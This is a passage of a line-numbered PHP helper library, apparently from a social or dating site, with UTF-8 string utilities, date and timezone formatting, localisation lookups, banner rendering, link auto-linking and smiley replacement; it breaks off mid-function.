1011function filter($str, $deny_words)
1012{
1013 if ($deny_words == ""){
1014 global $g;
1015 if (isset($g['deny_words'])) $deny_words = $g['deny_words'];
1016 else $deny_words = array();
1017 }
1018 $ok = 1;
1019 $word = mb_strtolower($str, 'UTF-8');
1020 foreach ($deny_words as $k => $v) {
1021 $filter = mb_strtolower($v, 'UTF-8');
1022 if (strstr($word, $filter) !== false) {
1023 $ok = 0;
1024 break;
1025 }
1026 }
1027 return $ok;
1028
1029}
1030
1031function pl_strlen($str)
1032{
1033 if (function_exists('mb_strlen')) return mb_strlen($str, 'utf-8');
1034 if (function_exists('iconv_strlen')) return iconv_strlen($str, 'utf-8');
1035 #utf8_decode() converts characters that are not in ISO-8859-1 to '?', which, for the purpose of counting, is quite alright.
1036 return strlen(utf8_decode($str));
1037}
1038function pl_substr($str, $offset, $length = null)
1039{
1040 #в начале пробуем найти стандартные функции
1041 if (function_exists('mb_substr')) return mb_substr($str, $offset, $length, 'utf-8'); #(PHP 4 >= 4.0.6, PHP 5)
1042 if (function_exists('iconv_substr')) return iconv_substr($str, $offset, $length, 'utf-8'); #(PHP 5)
1043 #однократные паттерны повышают производительность!
1044 preg_match_all('/(?>[\x09\x0A\x0D\x20-\x7E] # ASCII
1045 | [\xC2-\xDF][\x80-\xBF] # non-overlong 2-byte
1046 | \xE0[\xA0-\xBF][\x80-\xBF] # excluding overlongs
1047 | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2} # straight 3-byte
1048 | \xED[\x80-\x9F][\x80-\xBF] # excluding surrogates
1049 | \xF0[\x90-\xBF][\x80-\xBF]{2} # planes 1-3
1050 | [\xF1-\xF3][\x80-\xBF]{3} # planes 4-15
1051 | \xF4[\x80-\x8F][\x80-\xBF]{2} # plane 16
1052 )
1053 /xs', $str, $m);
1054 if ($length !== null) $a = array_slice($m[0], $offset, $length);
1055 else $a = array_slice($m[0], $offset);
1056 return implode('', $a);
1057}
1058function utf8_wordwrap($str, $len = 75, $what = "\n"){
1059 $from=0;
1060 $str_length = preg_match_all('/[\x00-\x7F\xC0-\xFD]/', $str, $var_empty);
1061 $while_what = $str_length / $len;
1062 while($i <= round($while_what)) {
1063 $string = preg_replace('#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$from.'}'.
1064 '((?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$len.'}).*#s',
1065 '$1',$str);
1066 $total .= $string.$what;
1067 $from = $from+$len;
1068 $i++;
1069 }
1070 return $total;
1071}
1072function url_encoder($s)
1073{
1074 $abc = 'abcdefghijklmnopqrstuvwxyz_-1234567890?#&/\\:=+';
1075 $r = '';
1076 for ($i = 0; $i < strlen($s); $i++) {
1077 $letter = substr($s, $i, 1);
1078 if (strpos($abc, $letter) === false ) $letter = urlencode($letter);
1079 $r .= $letter;
1080 }
1081 return $r;
1082}
1083
1084function time_mysql_dt2u($row)
1085{
1086 if ($row == "0000-00-00 00:00:00" or $row == "00000000000000" or $row == "")
1087 {
1088 $row = 1;
1089 }
1090 else
1091 {
1092 if (strlen($row) == 14)
1093 {
1094 $date[0] = substr($row, 0, 4);
1095 $date[1] = substr($row, 4, 2);
1096 $date[2] = substr($row, 6, 2);
1097 $time[0] = substr($row, 8, 2);
1098 $time[1] = substr($row, 10, 2);
1099 $time[2] = substr($row, 12, 2);
1100 }
1101 else
1102 {
1103 $d = explode(" ", $row);
1104 $time = explode(":", $d[1]);
1105 $date = explode("-", $d[0]);
1106 }
1107 $row = mktime($time[0], $time[1], $time[2], $date[1], $date[2], $date[0]);
1108 }
1109 return $row;
1110}
1111
1112function zodiac($date)
1113{
1114 $date = explode('-', $date);
1115 $month = $date[1];
1116 $day = $date[2];
1117
1118 $zodiac = 0;
1119
1120 if (( $month == 3 && $day > 20 ) || ( $month == 4 && $day < 20 )) {
1121 $zodiac = 1;
1122 } elseif (( $month == 4 && $day > 19 ) || ( $month == 5 && $day < 21 )) {
1123 $zodiac = 2;
1124 } elseif (( $month == 5 && $day > 20 ) || ( $month == 6 && $day < 21 )) {
1125 $zodiac = 3;
1126 } elseif (( $month == 6 && $day > 20 ) || ( $month == 7 && $day < 23 )) {
1127 $zodiac = 4;
1128 } elseif (( $month == 7 && $day > 22 ) || ( $month == 8 && $day < 23 )) {
1129 $zodiac = 5;
1130 } elseif (( $month == 8 && $day > 22 ) || ( $month == 9 && $day < 23 )) {
1131 $zodiac = 6;
1132 } elseif (( $month == 9 && $day > 22 ) || ( $month == 10 && $day < 23 )) {
1133 $zodiac = 7;
1134 } elseif (( $month == 10 && $day > 22 ) || ( $month == 11 && $day < 22 )) {
1135 $zodiac = 8;
1136 } elseif (( $month == 11 && $day > 21 ) || ( $month == 12 && $day < 22 )) {
1137 $zodiac = 9;
1138 } elseif (( $month == 12 && $day > 21 ) || ( $month == 1 && $day < 20 )) {
1139 $zodiac = 10;
1140 } elseif (( $month == 1 && $day > 19 ) || ( $month == 2 && $day < 19 )) {
1141 $zodiac = 11;
1142 } elseif (( $month == 2 && $day > 18 ) || ( $month == 3 && $day < 21 )) {
1143 $zodiac = 12;
1144 }
1145
1146 return $zodiac;
1147}
1148
1149#дебаг
1150function show_array($a)
1151{
1152 $html = "";
1153 $html .= "<table border=1 cellpacing=5 cellpadding=5>";
1154 $html .= "<tr>";
1155 foreach ($row as $k => $v)
1156 {
1157 if (!is_int($k))
1158 {
1159 $html .= "<tr>";
1160 $html .= "<td>";
1161 $html .= "<b>" . $k . "</b>";
1162 $html .= "</td>";
1163 $html .= "<td>";
1164 $html .= "" . $v . "";
1165 $html .= "</td>";
1166 $html .= "</tr>";
1167 }
1168
1169 }
1170 $html .= "</table>";
1171 return $html;
1172}
1173
1174function wrapTextInConntentWithMedia($content, $blockStart = '<div class="txt">', $blockEnd = '</div>')
1175{
1176 $tags = Common::grabsTags($content);
1177 $tagsTemp = array();
1178 $i = 0;
1179 foreach ($tags as $tag) {
1180 $content = str_replace($tag, "{system:{$i}}", $content);
1181 $tagsTemp[$i] = $tag;
1182 $i++;
1183 }
1184 $content = wrapTextInConntent($content, '{system:', $blockStart, $blockEnd);
1185 $i = 0;
1186 foreach ($tagsTemp as $tag) {
1187 $content = str_replace("{system:{$i}}", $tag, $content);
1188 $i++;
1189 }
1190 return $content;
1191}
1192
1193function wrapTextInConntent($content, $str_start, $blockStart = '<div class="txt">', $blockEnd = '</div>')
1194{
1195 $result = '';
1196 $contentCut = $content;
1197 $enc = 'UTF-8';
1198 $lenStart = mb_strlen($str_start, $enc);
1199 $str_end = '}';
1200 $lenEnd = mb_strlen($str_end, $enc);
1201 $isTag = false;
1202 while (($start = mb_strpos($content, $str_start, 0, $enc)) !== false) {
1203 $content = mb_substr($content, $start + $lenStart, mb_strlen($content, $enc), $enc);
1204 $end = mb_strpos($content, $str_end, 0, $enc);
1205 if ($end !== false) {
1206 $tag = $str_start . mb_substr($content, 0, $end, $enc) . $str_end;
1207 $content = mb_substr($content, $end + $lenEnd, mb_strlen($content, $enc), $enc);
1208 $strCut = mb_substr($contentCut, 0, $start, $enc);
1209 if (str_replace(array("\r\n", "\n", "\r"), '', $strCut)){
1210 $strCut = "{$blockStart}$strCut{$blockEnd}";
1211 }
1212 $result .= "{$strCut}{$tag}";
1213 $contentCut = $content;
1214 $isTag = true;
1215 } else {
1216 break;
1217 }
1218 }
1219 if ($isTag && str_replace(array("\r\n", "\n", "\r"), '', $content)){
1220 $content = "{$blockStart}$content{$blockEnd}";
1221 }
1222 $result .= $content;
1223 return $result;
1224}
1225
1226function grabs($content, $str_start, $str_end, $wrap = false)
1227{
1228 $i = 0;
1229 $r = array();
1230 while (($start = strpos($content, $str_start)) !== false) {
1231 $content = substr($content, $start + strlen($str_start));
1232 $end = strpos($content, $str_end);
1233 if ($end !== false) {
1234 if ($wrap) {
1235 $r[$i] = $str_start . substr($content, 0, $end) . $str_end;
1236 } else {
1237 $r[$i] = substr($content, 0, $end);
1238 }
1239 } else {
1240 break;
1241 }
1242 $i++;
1243 }
1244 return $r;
1245}
1246
1247function grabsi($content, $str_start, $str_end, $wrap = false)
1248{
1249 $i = 0;
1250 $r = array();
1251 while (($start = stripos($content, $str_start)) !== false) {
1252 $content = substr($content, $start + strlen($str_start));
1253 $end = stripos($content, $str_end);
1254 if ($end !== false) {
1255 if ($wrap) {
1256 $r[$i] = $str_start . substr($content, 0, $end + strlen($str_end));
1257 } else {
1258 $r[$i] = substr($content, 0, $end);
1259 }
1260 } else {
1261 break;
1262 }
1263 $i++;
1264 }
1265 return $r;
1266}
1267
1268function get_banner($place)
1269{
1270 global $g;
1271
1272 $tmpl = to_sql(Common::getOption('tmpl_loaded', 'tmpl'), 'Plain');
1273 $lang = Common::getOption('lang_loaded', 'main');
1274
1275 $sql = 'SELECT type FROM banners_places
1276 WHERE place = ' . to_sql($place, 'Text') . '
1277 AND active = 1';
1278 $type = DB::result($sql, 0, DB_MAX_INDEX, true);
1279
1280 $where = ' place = ' . to_sql($place) . '
1281 AND active = 1
1282 AND (templates LIKE "%' . $tmpl . '%" OR templates = "")
1283 AND (langs LIKE "%' . $lang . '%" OR langs = "")';
1284
1285 $sql = 'SELECT COUNT(*) FROM banners WHERE ' . $where;
1286 $count = DB::result($sql, 0, DB_MAX_INDEX, true);
1287
1288 if($count == 0) {
1289 return false;
1290 }
1291
1292 if($type == 'static') {
1293 $sql = "SELECT * FROM banners
1294 WHERE $where LIMIT 1";
1295 } elseif($type == 'random') {
1296 $limitStart = rand(0, $count - 1);
1297 $sql = "SELECT * FROM banners
1298 WHERE $where LIMIT $limitStart, 1";
1299 } else {
1300 return false;
1301 }
1302
1303 DB::query($sql);
1304 if (DB::num_rows() == 0) {
1305 return false;
1306 }
1307 $banner = DB::fetch_row();
1308 $banner['path'] = $g['path']['url_files'] . 'banner/';
1309
1310 $banner['filename'] = str_replace(' ', '_', $banner['filename']);
1311
1312 if ($banner['type'] == 'flash') {
1313 return "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0\" width=\"" . $banner['width'] . "\" height=\"" . $banner['height'] . "\" title=\"" . $banner['alt'] . "\">
1314 <param name=\"movie\" value=\"" . $banner['path'] . $banner['filename'] . "?link=" . $banner['url'] . "\" />
1315 <param name=\"wmode\" value=\"transparent\" />
1316 <embed wmode=\"transparent\" src=\"" . $banner['path'] . $banner['filename'] . "?link=" . $banner['url'] . "\" quality=\"high\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" width=\"" . $banner['width'] . "\" height=\"" . $banner['height'] . "\"></embed>
1317 </object>";
1318 } elseif ($banner['type'] == 'code') {
1319 return $banner['code'];
1320 } else {
1321 return "<a href=\"" . $banner['url'] . "\"><img src=\"" . $banner['path'] . $banner['filename'] . "\" alt=\"" . $banner['alt'] . "\" /></a>";
1322 }
1323}
1324
1325function pl_str_add_zeros($str, $len) {
1326 /*$l = strlen($str);
1327 $r = $str;
1328 while (strlen($r) < $r) {
1329 $r = '0' . $r;
1330 }*/
1331 $r = sprintf("%0" . $len . "d", $str);
1332 return $r;
1333}
1334
1335function pl_date($format = "", $dt = '', $objDateTime = false, $timeStamp = false, $siteTime = false) {
1336 global $g_user;
1337 if (function_exists('date_default_timezone_set')) {
1338 date_default_timezone_set(date_default_timezone_get());
1339 }
1340 if($format==''){
1341 $format = 'Y-m-d H:i:s';
1342 }
1343
1344 if($siteTime) {
1345 $usersTimeZone = date_default_timezone_get();
1346 } else {
1347
1348 if(isset($g_user['timezone']) && $g_user['timezone']!='' && Common::isOptionActive('user_choose_time_zone')){
1349 $usersTimeZone=$g_user['timezone'];
1350 } elseif(Common::getOption('timezone', 'main')) {
1351 $usersTimeZone = Common::getOption('timezone', 'main');
1352 }else{
1353 if (function_exists('date_default_timezone_set')) {
1354 $usersTimeZone = date_default_timezone_get();
1355 } else {
1356 $usersTimeZone = 'UTC';
1357 }
1358 }
1359
1360 }
1361
1362 if ($objDateTime) {
1363 if ($dt == '') {
1364 $dt = date($format);
1365 }elseif ($timeStamp) {
1366 $dt = date($format, $dt);
1367 }
1368 $date = new DateTime($dt);
1369 $date->setTimezone(new DateTimeZone($usersTimeZone));
1370 $r = $date->format($format);
1371 }else if ($dt == '') {
1372 $r = dateTimeZone($format, time(), $usersTimeZone);
1373 } else if (strlen($dt) == 14) {
1374 #20081212020202
1375 $date[0] = substr($dt, 0, 4);
1376 $date[1] = substr($dt, 4, 2);
1377 $date[2] = substr($dt, 6, 2);
1378 $time[0] = substr($dt, 8, 2);
1379 $time[1] = substr($dt, 10, 2);
1380 $time[2] = substr($dt, 12, 2);
1381 if (count($time) != 3 or count($date) != 3) $dt = time();
1382 else $dt = mktime($time[0], $time[1], $time[2], $date[1], $date[2], $date[0]);
1383 $r = dateTimeZone($format, $dt, $usersTimeZone);
1384 } else if (strlen($dt) == 19) {
1385 #2008-12-12 02:02:02
1386 $date[0] = substr($dt, 0, 4);
1387 $date[1] = substr($dt, 5, 2);
1388 $date[2] = substr($dt, 8, 2);
1389 $time[0] = substr($dt, 11, 2);
1390 $time[1] = substr($dt, 14, 2);
1391 $time[2] = substr($dt, 17, 2);
1392 if (count($time) != 3 or count($date) != 3) $dt = time();
1393 else $dt = mktime($time[0], $time[1], $time[2], $date[1], $date[2], $date[0]);
1394 $r = dateTimeZone($format, $dt, $usersTimeZone);
1395 } else if (strlen($dt) == 8) {
1396 #20081212
1397 $date[0] = substr($dt, 0, 4);
1398 $date[1] = substr($dt, 4, 2);
1399 $date[2] = substr($dt, 6, 2);
1400 $time[0] = 0;
1401 $time[1] = 0;
1402 $time[2] = 0;
1403 if (count($time) != 3 or count($date) != 3) $dt = time();
1404 else $dt = mktime($time[0], $time[1], $time[2], $date[1], $date[2], $date[0]);
1405 $r = dateTimeZone($format, $dt, $usersTimeZone);
1406 } else if (strlen($dt) == 10 && (!is_numeric($dt))) {
1407 #2008-12-12
1408 $date[0] = substr($dt, 0, 4);
1409 $date[1] = substr($dt, 5, 2);
1410 $date[2] = substr($dt, 8, 2);
1411 $time[0] = 0;
1412 $time[1] = 0;
1413 $time[2] = 0;
1414 if (count($time) != 3 or count($date) != 3) $dt = time();
1415 else $dt = mktime($time[0], $time[1], $time[2], $date[1], $date[2], $date[0]);
1416 $r = dateTimeZone($format, $dt, $usersTimeZone);
1417 } else if (intval($dt) > 0) {
1418 #unix
1419 $dt = intval($dt);
1420 $r = dateTimeZone($format, $dt, $usersTimeZone);
1421 } else {
1422 #now
1423 $r = dateTimeZone($format, time(), $usersTimeZone);
1424 }
1425
1426 $searches = array('Monday', 'Thursday' , 'Wednesday', 'Tuesday', 'Friday', 'Saturday', 'Sunday', 'January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December', 'Mon', 'Thu', 'Wed', 'Tue', 'Fri', 'Sat', 'Sun', 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec', 'at');
1427 foreach($searches as $k=>$v){
1428 $searches[$k]='/(\b)'.$v.'(\b)/iu';
1429 }
1430 static $replaces = false;
1431 if($replaces === false) {
1432 $replaces = array(pl_l('Monday'), pl_l('Thursday'), pl_l('Wednesday'), pl_l('Tuesday'), pl_l('Friday'), pl_l('Saturday'), pl_l('Sunday'), pl_l('January'), pl_l('February'), pl_l('March'), pl_l('April'), pl_l('May'), pl_l('June'), pl_l('July'), pl_l('August'), pl_l('September'), pl_l('October'), pl_l('November'), pl_l('December'), pl_l('Mon'), pl_l('Thu'), pl_l('Wed'), pl_l('Tue'), pl_l('Fri'), pl_l('Sat'), pl_l('Sun'), pl_l('Jan'), pl_l('Feb'), pl_l('Mar'), pl_l('Apr'), pl_l('May'), pl_l('Jun'), pl_l('Jul'), pl_l('Aug'), pl_l('Sep'), pl_l('Oct'), pl_l('Nov'), pl_l('Dec'), l('at'));
1433 foreach($replaces as $k=>$v){
1434 $replaces[$k]='${1}'.$v.'${2}';
1435 }
1436 }
1437
1438 $r = preg_replace($searches, $replaces, $r);
1439
1440 return $r;
1441}
1442function pl_date_monthes() {
1443 $r = array(
1444 '1' => 'January',
1445 '2' => 'February',
1446 '3' => 'March',
1447 '4' => 'April',
1448 '5' => 'May',
1449 '6' => 'June',
1450 '7' => 'July',
1451 '8' => 'August',
1452 '9' => 'September',
1453 '10' => 'October',
1454 '11' => 'November',
1455 '12' => 'December',
1456 );
1457 return $r;
1458}
1459function pl_date_weekdays() {
1460 $r = array(
1461 '1' => 'Monday',
1462 '2' => 'Thursday',
1463 '3' => 'Wednesday',
1464 '4' => 'Tuesday',
1465 '5' => 'Friday',
1466 '6' => 'Saturday',
1467 '7' => 'Sunday',
1468 );
1469 return $r;
1470}
1471function pl_l($s) {
1472 return l($s);
1473}
1474
1475function dateTimeZone($format, $dt = '', $tz = '')
1476{
1477 $date = new DateTime();
1478 $date->setTimestamp($dt);
1479
1480 if(!empty($tz)){
1481 $zone = new DateTimeZone($tz);
1482 $date->setTimezone($zone);
1483 }
1484 return $date->format($format);
1485}
1486
1487function lReplaceSiteTitle($s, $key)
1488{
1489 global $p;
1490
1491 static $keysReplaceSiteTitle = array(
1492 'all' => array(
1493 'site_needs_a_framework_to_function' => 1,
1494 'log_in_to' => 1,
1495 'facebook_invite_message' => 1,
1496 ),
1497 'index.php' => array(
1498 'header_visitor_text' => 1
1499 ),
1500 'email_not_confirmed.php' => array(
1501 'title' => 1
1502 ),
1503 'confirm_email.php' => array(
1504 'title' => 1
1505 )
1506 );
1507 if ($s && (isset($keysReplaceSiteTitle[$p][$key]) || isset($keysReplaceSiteTitle['all'][$key]))) {
1508 $s = Common::replaceByVars($s, array('site_title' => Common::getOption('title', 'main')));
1509 }
1510 return $s;
1511}
1512
1513function l($s, $lang = false, $prefix = false)
1514{
1515 global $p;
1516
1517 if($lang === false) {
1518 global $l;
1519 $lang = $l;
1520 }
1521
1522 $key = to_php_alfabet($s);
1523
1524 if ($prefix !== false) {
1525 if (isset($lang[$p][$prefix . '_' . $key])) {
1526 $s = $lang[$p][$prefix . '_' . $key];
1527 } elseif (isset($lang['all'][$prefix . '_' . $key])) {
1528 $s = $lang['all'][$prefix . '_' . $key];
1529 }
1530 } elseif ($p != '' and isset($lang[$p][$key])) {
1531 $s = $lang[$p][$key];
1532 } elseif (isset($lang['all'][$key])) {
1533 $s = $lang['all'][$key];
1534 } else {
1535 $s = '' . $s;
1536 }
1537
1538 $s = lReplaceSiteTitle($s, $key);
1539
1540 return $s;
1541}
1542
1543function toAttrL($s, $lang = false, $prefix = false)
1544{
1545 return toAttr(l($s, $lang, $prefix));
1546}
1547
1548function toJsL($s, $lang = false, $prefix = false)
1549{
1550 return toJs(l($s, $lang, $prefix));
1551}
1552
1553function lCascade($s, $keys, $lang = false)
1554{
1555 global $p;
1556
1557 if($lang === false) {
1558 global $l;
1559 $lang = $l;
1560 }
1561
1562 if(is_array($keys)) {
1563 foreach($keys as $key) {
1564 $key = to_php_alfabet($key);
1565 if($key) {
1566
1567 if ($p != '' and isset($lang[$p][$key])) {
1568 $s = $lang[$p][$key];
1569 break;
1570 } elseif (isset($lang['all'][$key])) {
1571 $s = $lang['all'][$key];
1572 break;
1573 }
1574
1575 }
1576 }
1577 }
1578
1579 return $s;
1580}
1581
1582function lr($s) {
1583 global $l;
1584 global $p;
1585 if ($p != '' and isset($l[$p][to_php_alfabet($s)])) {
1586 $s = $l[$p][to_php_alfabet($s)];
1587 } else
1588 if (isset($l['all'][to_php_alfabet($s)])) {
1589 $s = $l['all'][to_php_alfabet($s)];
1590 } else {
1591 $s = '' . ucfirst(str_replace('_', ' ', $s));
1592 }
1593 return $s;
1594}
1595
1596function lp($s, $page = false) {
1597 global $l;
1598 global $p;
1599
1600 if($page === false) {
1601 $page = $p;
1602 }
1603
1604 if (!empty($page) && isset($l[$page][to_php_alfabet($s)])) {
1605 $s = $l[$page][to_php_alfabet($s)];
1606 }
1607 return $s;
1608}
1609
1610function toAttrLp($s, $page = false)
1611{
1612 return toAttr(lp($s, $page));
1613}
1614
1615function toJsLp($s, $page = false)
1616{
1617 return toJs(lp($s, $page));
1618}
1619
1620/*
1621 * @param string $fn the name of a language functions(l, toAttrL, toJsL).
1622 */
1623function lSetVarsCascade($s, $vars, $keys = null)
1624{
1625 $tmpl = Common::getOption('name', 'template_options');
1626 $keys = array($s . '_' . $tmpl, $tmpl . '_' . $s, $s);
1627 return Common::replaceByVars(lCascade($s, $keys), $vars);
1628}
1629
1630function lSetVars($s, $vars, $fn = 'l')
1631{
1632 $value = Common::replaceByVars($fn($s), $vars);
1633 return $value;
1634}
1635
1636function lVars(&$html, $s, $vars, $tmpl = '', $return = false) {
1637 $value = lSetVars($s, $vars);
1638 if($return) {
1639 return $value;
1640 }
1641 if($tmpl == '') {
1642 $tmpl = $s;
1643 }
1644 $html->setvar($tmpl, $value);
1645}
1646
1647
1648function strcut($str, $max_length)
1649{
1650 if(pl_strlen($str) > $max_length)
1651 return pl_substr($str, 0, $max_length).'...';
1652
1653 return $str;
1654}
1655
1656function pager_get_pages_links($n_pages, $page_n, $n_links = 5)
1657{
1658 $links = array();
1659 $tmp = $page_n - floor($n_links / 2);
1660 $check = $n_pages - $n_links + 1;
1661 $limit = ($check > 0) ? $check : 1;
1662 $begin = ($tmp > 0) ? (($tmp > $limit) ? $limit : $tmp) : 1;
1663
1664 $i = $begin;
1665 while (($i < $begin + $n_links) && ($i <= $n_pages))
1666 {
1667 $links[] = $i++;
1668 }
1669
1670 return $links;
1671}
1672
1673function dateadd($givendate = '',$day = 0, $mth = 0, $yr = 0)
1674{
1675 if ($givendate == '') {
1676 $givendate = date('Y-m-d');
1677 }
1678 $cd = strtotime($givendate);
1679 $newdate = date('Y-m-d h:i:s', mktime(date('h',$cd),
1680 date('i',$cd), date('s',$cd), date('m',$cd)+$mth,
1681 date('d',$cd)+$day, date('Y',$cd)+$yr));
1682 return $newdate;
1683}
1684
1685function html_meta_sanitize($str)
1686{
1687 return str_replace(array("\n", "\r"), array(' ', ' '), strip_tags($str));
1688}
1689
1690function curpage()
1691{
1692 return (isset($_SERVER['SCRIPT_FILENAME']) ? pathinfo($_SERVER['SCRIPT_FILENAME'], PATHINFO_FILENAME) : 'index');
1693}
1694function g($section = null, $param = null)
1695{
1696 global $g;
1697 if ($section === null and $param === null) {
1698 return $g;
1699 } elseif ($param === null) {
1700 return (isset($g[$section]) ? $g[$section] : null);
1701 } else {
1702 return (isset($g[$section][$param]) ? $g[$section][$param] : null);
1703 }
1704}
1705function neat_trim($str, $n, $delim = '...') {
1706 if (pl_strlen($str) > ($n + 1)) {
1707 $words = explode(' ', $str);
1708 $i = 0;
1709 $r = '';
1710 while (pl_strlen($r . $words[$i]) < $n) {
1711 $r .= $words[$i] . ' ';
1712 $i++;
1713 }
1714 if (isset($r)) {
1715 if (pl_strlen($r) == pl_strlen($str)) {
1716 return rtrim($r);
1717 } else {
1718 return rtrim($r) . $delim;
1719 }
1720 } else {
1721 return $delim;
1722 }
1723 } else {
1724 return $str;
1725 }
1726}
1727function neat_trimr($str, $n, $delim = '...') {
1728 if (pl_strlen($str) > ($n + 1)) {
1729 $words = explode(' ', $str);
1730 $i = count($words) - 1;
1731 $r = '';
1732 while (pl_strlen($words[$i] . ' ' . $r) < $n) {
1733 $r = $words[$i] . ' ' . $r;
1734 $i--;
1735 }
1736 if (isset($r)) {
1737 if (pl_strlen($r) == pl_strlen($str)) {
1738 return rtrim($r);
1739 } else {
1740 return $delim . rtrim($r);
1741 }
1742 } else {
1743 return $delim;
1744 }
1745 } else {
1746 return $str;
1747 }
1748}
1749function hard_trim($str, $n, $delim = '...') {
1750 if (pl_strlen($str) > ($n + 1)) {
1751 return pl_substr($str, 0, $n) . $delim;
1752 } else {
1753 return $str;
1754 }
1755}
1756function hard_trimr($str, $n, $delim = '...') {
1757 if (pl_strlen($str) > ($n + 1)) {
1758 return $delim . pl_substr($str, -$n);
1759 } else {
1760 return $str;
1761 }
1762}
1763function strip_tags_attributes($input, $validTags = null)
1764{
1765 $regex = '#\s*<(/?\w+)\s+(?:\w+\s*=["\'].+?["\'])\s*>#is';
1766 return preg_replace($regex, '<${1}>', strip_tags($input, $validTags));
1767}
1768
1769
1770function admin_color_lines($items)
1771{
1772 $items_r = array();
1773 foreach ($items as $k => $v) {
1774 $items_r[$k] = $v;
1775 if ($k % 2 == 1) {
1776 $items_r[$k]['class'] = 'color';
1777 $items_r[$k]['decl'] = '_l';
1778 $items_r[$k]['decr'] = '_r';
1779 } else {
1780 $items_r[$k]['class'] = '';
1781 $items_r[$k]['decl'] = '';
1782 $items_r[$k]['decr'] = '';
1783 }
1784 }
1785 return $items_r;
1786}
1787
1788function parse_links($text)
1789{
1790 $pattern = "#(https?|ftp)://\S+[^\s.,>)\];'\"!?]#i";
1791 return preg_replace($pattern,"<a href=\"$0\" target=\"_blank\">$0</a>",$text);
1792}
1793
1794function get_headers_file(&$url)
1795{
1796 $headers = array();
1797 if($url) {
1798 if(ini_get('allow_url_fopen')) {
1799 $headers = get_headers($url);
1800 } elseif(extension_loaded('curl')) {
1801 $curl = curl_init();
1802
1803 curl_setopt($curl, CURLOPT_URL, $url);
1804 curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
1805 curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3600);
1806 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
1807 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
1808 @curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
1809 curl_setopt($curl, CURLOPT_HEADER, true);
1810
1811 $result = curl_exec($curl);
1812 curl_close($curl);
1813
1814 if($result) {
1815 $headers = explode("\n", $result);
1816 }
1817 } else {
1818 trigger_error('Please enable allow_url_fopen or curl in PHP settings');
1819 }
1820 }
1821
1822 return $headers;
1823}
1824
1825function url_file_exists(&$url)
1826{
1827 $exists = false;
1828 if($url) {
1829 $headers = get_headers_file($url);
1830 if(isset($headers[0])) {
1831 if(stristr($headers[0], '200 OK')) {
1832 $exists = true;
1833 } elseif(stristr($headers[0], '302')) {
1834 $len = 9;
1835 foreach($headers as $header) {
1836 if(strtolower(substr($header, 0, $len)) == 'location:') {
1837 $url = trim(substr($header, $len));
1838 $exists = true;
1839 break;
1840 }
1841 }
1842 }
1843 }
1844 }
1845
1846 return $exists;
1847}
1848
1849function big_text_parse($name, $text, &$html, $page, $chars_per_page = 320, $nl2br = false)
1850{
1851 if(!is_numeric($page))
1852 $page = 0;
1853
1854 if($page > 0)
1855 {
1856 $html->setvar($name."_prev_page", $page - 1);
1857 $html->parse($name."_prev_page", true);
1858 }
1859
1860 $textReady = text_make_clickable_links(substr($text, $page * $chars_per_page, $chars_per_page));
1861
1862 if($nl2br) {
1863 $textReady = nl2br($textReady);
1864 }
1865
1866 $html->setvar($name, $textReady);
1867 $html->parse($name, true);
1868
1869 if($page < (((strlen($text) - 1)) / $chars_per_page) - 1)
1870 {
1871 $html->setvar($name."_next_page", $page + 1);
1872 $html->parse($name."_next_page", true);
1873 }
1874}
1875
1876function time_today($date)
1877{
1878 $dt = strtotime($date);
1879 if(date("Ymd") == date("Ymd", $dt))
1880 return date("G:i", $dt);
1881 return date("m.d.Y", $dt);
1882}
1883
1884function text_make_clickable_links($text)
1885{
1886 $text = preg_replace('/(((f|ht){1}tp:\/\/)[\-a-zA-Z0-9@:%_\+.~#?&\/\/=()]+)/i',
1887 '<a href="\\1" target="_blank">\\1</a>', $text);
1888 $text = preg_replace('/([[:space:]()[{}])(www.[\-a-zA-Z0-9@:%_\+.~#?&\/\/=()]+)/i',
1889 '\\1<a href="http://\\2" target="_blank">\\2</a>', $text);
1890 $text = preg_replace('/([_\.0-9a-z\-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,3})/i',
1891 '<a href="mailto:\\1" target="_blank">\\1</a>', $text);
1892 return $text;
1893}
1894
1895function chat_message_prepare($msg, $to_user = 0)
1896{
1897 global $g_user;
1898
1899 $censured = false;
1900 $censuredUrl = '../_server/im_new/feature/censured.php';
1901
1902 if (file_exists($censuredUrl)) include($censuredUrl);
1903 return $msg;
1904}
1905
1906function replaceSmile($msg)
1907{
1908 $url = get_param('url_tmpl', Common::getOption('url_tmpl', 'path'));
1909
1910 $smiles = array('1' => array(':-)', ':)', ':0)', ':o)',),
1911 '2' => array('=-0', '=-o', '=-O', '8-0', '8-O', '8-o'),
1912 '3' => array(':-D', ':D', ':-d'),
1913 '4' => array(';-)', ';)', ';-D'),
1914 '5' => array(':\'-(', ':,-(', ':,('),
1915 '6' => array(':-(', ':(',),
1916 '7' => array(':-*', ':*'),
1917 '8' => array('8-)'),
1918 '9' => array(':-/', ':/', ':-[', ':-\\', ':-|'), //, ':\\'
1919 '10' => array(':-P', ':-p', ':P', ':p'));
1920 foreach ($smiles as $smileNum => $smileRepls) {
1921 foreach ($smileRepls as $repl) {
1922 $msg = str_replace($repl, '<span class="smile sm' . $smileNum . '"><img src="' . $url . 'common/smilies/sm' . $smileNum . '.png" width="21" height="21" alt="" /></span>', $msg);
1923 }
1924 }
1925 $msg = str_replace('http<span class="smile sm9"><img src="' . $url . 'common/smilies/sm9.png" width="21" height="21" alt="" /></span>/', 'http://', $msg);
1926 $msg = str_replace('https<span class="smile sm9"><img src="' . $url . 'common/smilies/sm9.png" width="21" height="21" alt="" /></span>/', 'https://', $msg);
1927 $msg = str_replace('ftp<span class="smile sm9"><img src="' . $url . 'common/smilies/sm9.png" width="21" height="21" alt="" /></span>/', 'ftp://', $msg);
1928
